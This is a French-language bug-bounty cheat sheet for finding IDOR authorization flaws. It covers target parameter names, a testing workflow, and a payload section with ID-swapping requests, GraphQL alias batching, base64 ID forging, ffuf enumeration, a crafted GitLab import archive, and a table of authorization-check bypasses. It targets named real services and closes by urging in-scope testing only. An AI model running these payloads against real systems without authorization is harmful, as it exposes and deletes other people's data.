Kit de Chasse IDOR
Tous les noms de paramètres, séquences de sondage, contournements et voies d'escalade pour dénicher les failles d'autorisation — 250 rapports HackerOne divulgués distillés en une fiche à garder ouverte pendant vos tests.
Ce kit condense les techniques observées dans 250 rapports divulgués. Lire l'analyse complète
Où ça se cache
NOMS DE PARAMÈTRES — À TRAQUER DANS VOTRE SITEMAP BURP
# Identité et compte
id uid user user_id userId userid account_id accountId member_id
profile_id customer_id client_id owner_id actor_id subject_id person_id
employee_id student_id patient_id contact_id lead_id guest_id
# Cloisonnement et périmètre — les plus payants, ils franchissent les frontières d'organisation
org_id organization_id tenant_id workspace_id team_id group_id company_id
project_id shop_id store_id site_id app_id namespace_id realm_id env_id
# Commerce et argent
order_id booking_id reservation_id cart_id transaction_id payment_id
invoice_id receipt_id subscription_id voucher_id coupon_id refund_id
payout_id card_id bank_account_id wallet_id billing_id quote_id
# Documents et médias
doc_id document_id file_id fileId attachment_id media_id asset_id
image_id photo_id video_id export_id report_id download_id key path
# Communication et flux de travail
message_id thread_id conversation_id chat_id comment_id note_id post_id
ticket_id case_id issue_id request_id task_id event_id notification_id
# Identifiants et droits — sévérité élevée dès qu'ils sont modifiables
token_id session_id api_key_id credential_id certification_id license_id
badge_id role_id permission_id invite_id membership_id device_id webhook_id
# Identité par chaîne — un IDOR n'exige pas un entier
email username phone msisdn slug handle external_id sub upn ref
SURFACES D'ENTRÉE — PAR OÙ TRANSITE L'IDENTIFIANT
# 1. Segment de chemin GET /api/v1/bookings/8847
# 2. Chaîne de requête GET /Download.aspx?id=4675
# 3. Corps JSON {"booking_id": 8847, "email": "victim@domain.tld"}
# 4. Corps de formulaire booking_id=8847&action=cancel
# 5. En-têtes personnalisés X-User-Id / X-Account-Id / X-Tenant-Id / X-Org-Id
# X-Customer-Id / X-Impersonate-User / X-Forwarded-User
# X-On-Behalf-Of / X-Actor-Id / Referer (le périmètre fuite ici)
# 6. Cookies account_id=8847; last_org=42; selected_tenant=acme
# 7. Variables GraphQL {"ids": ["VICTIM_SNAP_ID"], "storyType": "SPOTLIGHT_STORY"}
# 8. Nom de fichier multipart Content-Disposition: name="file"; filename="../8848.pdf"
# 9. Claims JWT / session décodez-le — le serveur FAIT SOUVENT CONFIANCE à sub, uid, tid, org
# 10. Trames WebSocket {"op":"subscribe","channel":"orders:8848"}
# 11. Archives d'import project.json dans un tarball → "issue_ids": [27422144]
# 12. Blob signé/opaque base64, hex, protobuf — décodez avant de le croire inoffensif
La marche à suivre
DU PREMIER SONDAGE À L'IMPACT CONFIRMÉ
À faire : Les comptes A et B au même niveau de privilèges, le compte C dans une autre organisation. Des profils de navigateur ou des conteneurs séparés, pour que les sessions ne se mélangent jamais.
Outil : Firefox Multi-Account Containers, ou deux navigateurs derrière Burp sur 127.0.0.1:8080.
Signal positif : Rien pour l'instant — mais vous disposez désormais de deux identifiants valides à permuter. Sans cette étape, aucune trouvaille ne sera démontrable.
À faire : Actionnez chaque fonctionnalité en tant que A — créer, modifier, partager, exporter, supprimer. Puis fouillez l'historique du proxy à la recherche des valeurs numériques et opaques.
Outil : Export du sitemap Burp, puis grep -oE '"[a-z_]_?id"\s:\s*"?[A-Za-z0-9=_-]+'. GAP ou Param Miner pour les paramètres cachés.
Signal positif : Une liste de paramètres d'identifiant avec les vraies valeurs de A, et le format de l'identifiant — entier séquentiel, UUID, base64, ObjectId.
À faire : Rejouez chaque requête avec le cookie ou le bearer de A et l'identifiant de B. Ne changez qu'une chose à la fois.
Outil : Burp Repeater à la main ; Autorize ou AuthMatrix pour l'automatiser sur l'ensemble du sitemap.
Signal positif : Un HTTP 200 contenant les données de B — pas un 403, pas un objet vide, pas la fiche de A renvoyée en écho. Comparez les deux réponses avant d'y croire.
À faire : Pour chaque endpoint en lecture, tentez PUT, PATCH, DELETE et POST sur l'identifiant de B. L'autorisation est souvent implémentée gestionnaire par gestionnaire : le chemin de lecture peut être protégé alors que le chemin d'écriture est grand ouvert.
Outil : Repeater. Envoyez le DELETE sur un objet jetable que vous avez créé sur le compte B, jamais sur un utilisateur réel.
Signal positif : Un 200/204, et l'objet réellement disparu ou modifié lorsque vous revérifiez en tant que B. C'est l'accès en écriture qui rapporte les primes à quatre et cinq chiffres.
À faire : Renvoyez la requête gagnante après avoir supprimé les en-têtes Cookie et Authorization.
Outil : curl sans authentification, ou Repeater avec l'en-tête effacé.
Signal positif : Les données reviennent sans le moindre secret d'authentification. Un IDOR ordinaire devient alors une exposition non authentifiée, ce qui lui fait généralement gagner un cran de sévérité entier.
À faire : Les mutations GraphQL, les chaînes d'import/export, les endpoints de recherche et de filtrage, les webhooks, les outils d'administration et internes, ainsi que les anciennes versions d'API (/v1/ quand l'application web appelle /v2/).
Outil : L'introspection GraphQL, ou Clairvoyance lorsqu'elle est désactivée ; jadx / apktool sur l'APK mobile pour retrouver les routes que le client web n'appelle jamais.
Signal positif : Une route absente de l'application web mais qui répond quand même. Le rapport Bykea #3085742 est né exactement de là — un endpoint zombie codé en dur, repéré dans l'application Android.
À faire : Démontrez que la victime est quelconque, et non un coup de chance. Cinq à dix identifiants répartis sur une large plage suffisent. Ne videz pas la base de données.
Outil : Burp Intruder / Turbo Intruder, ou ffuf avec un -rate faible.
Signal positif : Des objets distincts appartenant à des tiers distincts. Notez leur nombre et l'amplitude des identifiants, puis arrêtez-vous et rédigez le rapport.
Aide-mémoire des charges utiles
1. LA PERMUTATION DE BASE
# Référence — votre propre objet. Gardez cette réponse, elle sert de comparaison.
GET /api/v1/bookings/8847 HTTP/1.1
Authorization: Bearer A_TOKEN
# Le sondage — un seul caractère modifié.
GET /api/v1/bookings/8848 HTTP/1.1
Authorization: Bearer A_TOKEN
# SIGNAL POSITIF : 200 + un nom, un téléphone, une adresse qui ne sont pas les vôtres.
# Parcourez la plage dans les deux sens. Les identifiants les plus bas sont les
# plus anciens : souvent des comptes de test internes ou du personnel, plus riches.
GET /api/v1/bookings/1 HTTP/1.1
GET /api/v1/bookings/8846 HTTP/1.1
# Identité par chaîne — la session est valide, l'action vise quelqu'un d'autre.
# Mozilla FxA n'a jamais vérifié que la session possédait le compte supprimé.
POST /v1/account/destroy HTTP/1.1
Host: api.accounts.firefox.com
Authorization: Bearer A_SESSION_TOKEN
Content-Type: application/json
{"email":"victim@domain.tld","authPW":"42b4c2940fe2efecce851a2d8e9754d0f1cb1d37"}
2. GRAPHQL
# L'introspection d'abord — listez chaque mutation, cherchez delete*/update*/remove*
{__schema{mutationType{fields{name args{name type{name ofType{name}}}}}}}
# La propriété n'est généralement vérifiée que sur le champ racine. Atteignez
# l'objet par une arête parente et le contrôle n'est jamais évalué.
query { organization(id:"OWN_ORG") { members { privateEmail phone } } }
# Regroupement par alias — plusieurs objets par requête HTTP, ce qui déjoue la
# limitation de débit et prouve l'accès arbitraire en une seule capture d'écran.
query {
a: user(id:1235){ email phone }
b: user(id:1236){ email phone }
c: user(id:1237){ email phone }
}
# Chemin d'écriture. Le deleteStorySnaps de Snapchat acceptait un tableau ids
# sans validation de propriété — interceptez votre suppression, changez l'id.
mutation DeleteStorySnaps($ids:[String!]!, $storyType:StoryType!) {
deleteStorySnaps(ids:$ids, storyType:$storyType)
}
# variables: {"ids":["VICTIM_SNAP_ID"],"storyType":"SPOTLIGHT_STORY"}
3. DÉCODEZ AVANT DE RENONCER FACE AUX IDENTIFIANTS « OPAQUES »
# Enveloppe base64 — extrêmement courante, et réencodable sans le moindre effort
echo 'eyJ1c2VyX2lkIjoxMjM0fQ==' | base64 -d # {"user_id": 1234}
echo -n '{"user_id": 1235}' | base64 # forgez le voisin
# Les identifiants globaux GraphQL Relay sont le base64 de "Type:pk"
echo 'VXNlcjoxMjM0' | base64 -d # User:1234
echo -n 'User:1235' | base64 # VXNlcjoxMjM1
# hexadécimal / décimal
printf '%d\n' 0x4D2 # 1234
# ObjectId MongoDB : horodatage sur 4 octets + aléa sur 5 octets + compteur sur 3 octets.
# Le compteur final s'incrémente à chaque insertion — les voisins se devinent.
# 65f1a2b3 c4d5e6f7a8b9 0001 -> ...0002 est le document suivant
# UUIDv1 embarque un horodatage et une adresse MAC — pas aléatoire, prévisible
# sur une fenêtre donnée. UUIDv4 est aléatoire ; cherchez plutôt où il FUITE
# (résultats de recherche, endpoints de listage, messages d'erreur, pieds d'e-mails).
4. ÉNUMÉRATION — RESTREINTE, LENTE, DOCUMENTÉE
# Dix identifiants, c'est une preuve. Dix mille, c'est un rapport d'incident à votre nom.
seq 8840 8850 > ids.txt
ffuf -w ids.txt:FUZZ \
-u "$TARGET/api/v1/bookings/FUZZ" \
-H "Authorization: Bearer $A_TOKEN" \
-mc 200 -rate 5 -o idor.json
# Tri par taille de réponse : des tailles identiques trahissent une page d'erreur
# générique ; des tailles variables avec des 200 signalent de vrais enregistrements.
curl -s -H "Authorization: Bearer $A_TOKEN" \
"$TARGET/api/v1/bookings/8848" | jq '{name,phone,address}'
# Téléchargements de fichiers séquentiels — le schéma du DoD, aucune table de propriété
for i in 4675 4676 4677; do
curl -sI "$TARGET/Download.aspx?id=$i" | grep -i 'content-disposition'
done
5. CHAÎNES D'IMPORT — AFFECTATION EN MASSE DE CLÉS ÉTRANGÈRES
// project.json à l'intérieur du tarball téléversé. L'importeur appelait
// assign_attributes() sur ce hash, si bien que les tableaux *_ids rattachaient des
// objets appartenant à d'autres projets. Deux rapports GitLab à 20 000 $ en sont nés.
{
"description": "attacker project",
"issue_ids": [27422144],
"issues": [],
"merge_request_ids": [12345678],
"merge_requests": [],
"note_ids": [98765432],
"board_ids": [11111]
}
tar -czf evil.tar.gz project.json
curl -X POST "$TARGET/api/v4/projects/import" \
-H "PRIVATE-TOKEN: $A_TOKEN" \
-F "path=stolen" -F "file=@evil.tar.gz"
# Parcourez ensuite votre nouveau projet — les issues d'autrui y apparaissent.
Contournements de filtres et de contrôles
| Technique | Charge utile | Pourquoi ça marche |
|---|---|---|
| Encapsuler l'identifiant dans un tableau | {"id":[1235]} | Le contrôle de propriété compare un scalaire ; le tableau fait échouer la comparaison, mais l'ORM le résout tout de même. |
| Pollution de paramètres | ?id=1234&id=1235 | La passerelle ou le middleware lit la première occurrence, le framework applicatif lit la dernière. |
| Dissocier le chemin et le corps | chemin /users/1234, corps {"user_id":1235} | Le middleware autorise le segment de chemin ; le gestionnaire, lui, fait confiance au corps de la requête. |
| Changement de verbe | GET → PUT / PATCH / DELETE | L'autorisation est déclarée gestionnaire par gestionnaire. Le chemin de lecture est relu, celui d'écriture ne l'est pas. |
| Surcharge de méthode | POST + X-HTTP-Method-Override: DELETE | Les règles de routage qui refusent DELETE se fondent sur le verbe réel, pas sur l'en-tête de surcharge. |
| Changement de Content-Type | application/json → application/x-www-form-urlencoded ou XML | Une branche d'analyse alternative échappe au filtre attaché au désérialiseur JSON. |
| Ajout d'une extension | /api/users/1235.json, .xml, / | L'expression régulière de la route ou du WAF, ancrée sur le chemin exact, ne correspond plus. |
| Identifiants joker et nuls | id=*, id=0, id=-1, id=%00, id=null | La requête sans contrainte renvoie toutes les lignes, ou pointe vers un enregistrement système/admin créé à l'initialisation. |
| Ancienne version d'API | /v1/ alors que le client appelle /v2/ | Le gestionnaire historique est antérieur au middleware d'autorisation et n'a jamais été mis hors service. |
| Route mobile zombie | chaînes extraites de l'APK | Route retirée du client web mais toujours servie — Bykea #3085742. |
| Clés étrangères par import | "issue_ids":[27422144] dans project.json | L'import en masse affecte les attributs en bloc et court-circuite les contrôles par objet de l'API — GitLab #743953, #767770. |
| Identité dans le corps | {"email":"victim@domain.tld"} avec votre propre jeton | Le serveur authentifie la session, mais rattache l'action à l'identité fournie dans le corps — Mozilla #3154983. |
| Ignorer l'interface masquée | envoyer le DELETE que le bouton n'affiche jamais | Le frontend cache le contrôle ; l'endpoint, lui, ne vérifie rien du tout — Snapchat #1819832. |
| Identifiants de téléchargement séquentiels | Download.aspx?id=4676 | Les gestionnaires de fichiers servent souvent depuis une table de chemins dépourvue de colonne de propriété — DoD #1626508. |
| Regroupement par alias GraphQL | a:user(id:1235){...} b:user(id:1236){...} | La limitation de débit et la journalisation comptent les requêtes HTTP, pas les champs résolus. |
| Traversée imbriquée | atteindre l'objet par son arête parente | L'autorisation au niveau des champs ne s'applique qu'à la requête racine. |
L'échelle d'escalade
DE « J'AI VU UN ENREGISTREMENT » À UNE CRITIQUE
Reproduisez trois fois, dans une session propre, après une reconnexion. Les réponses en cache et les service workers périmés ont coulé quantité de rapports qui n'étaient en réalité pas des bugs.
Lire la fiche d'autrui relève de la sévérité Moyenne. La modifier ou la supprimer relève de la sévérité Élevée. Toutes les primes marquantes du jeu de données — GitLab, Snapchat, Mozilla — portaient sur une écriture ou une suppression, jamais sur une lecture.
Une victime, c'est une anecdote ; des victimes quelconques, c'est une vulnérabilité. Montrez que l'identifiant n'est ni borné ni imprévisible — séquentiel, ou divulgué à un endroit que vous pouvez désigner. « N'importe quel utilisateur », c'est la formule que le triage attend.
Recensez les champs que vous récupérez réellement. Numéros de téléphone, adresses postales, pièces d'identité, moyens de paiement, clés d'API et secrets CI/CD font chacun bouger la sévérité indépendamment. Nommez explicitement les catégories réglementées — données personnelles (PII), données de paiement (PCI), données de santé (PHI).
Un IDOR d'utilisateur à utilisateur est une chose ; d'organisation à organisation, c'est un défaut de cloisonnement multi-tenant, évalué à l'aune de la promesse de sécurité fondamentale du produit. C'est pour cela que org_id, shop_id et tenant_id valent bien plus que user_id.
Un premier IDOR divulgue les identifiants qu'un second consomme. Ajoutez-y une faiblesse d'authentification et vous obtenez une prise de contrôle de compte. Le rapport Uber #1145428 a enchaîné trois bugs pour aboutir à des débits arbitraires sur n'importe quelle carte professionnelle.
Traduisez l'accès en conséquences : combien d'enregistrements, quels champs, et ce qu'un concurrent ou un fraudeur en ferait. L'écart entre la moyenne des Faibles (560 $) et celle des Critiques (14 333 $) du jeu de données tient presque entièrement à ce barreau.
Notes de rédaction du rapport
CE QUI EMPÊCHE LE TRIAGE DE VOUS DÉCLASSER
Impasses connues
ÇA RESSEMBLE À UN IDOR, ÇA NE RAPPORTE RIEN
NE TESTEZ QUE CE QUE VOUS ÊTES AUTORISÉ À TESTER. Utilisez autant que possible des comptes que vous contrôlez comme victimes, cessez l'énumération dès que l'accès est prouvé, et ne conservez rien. Chaque technique de cette page est documentée pour un usage à l'intérieur du périmètre d'un programme.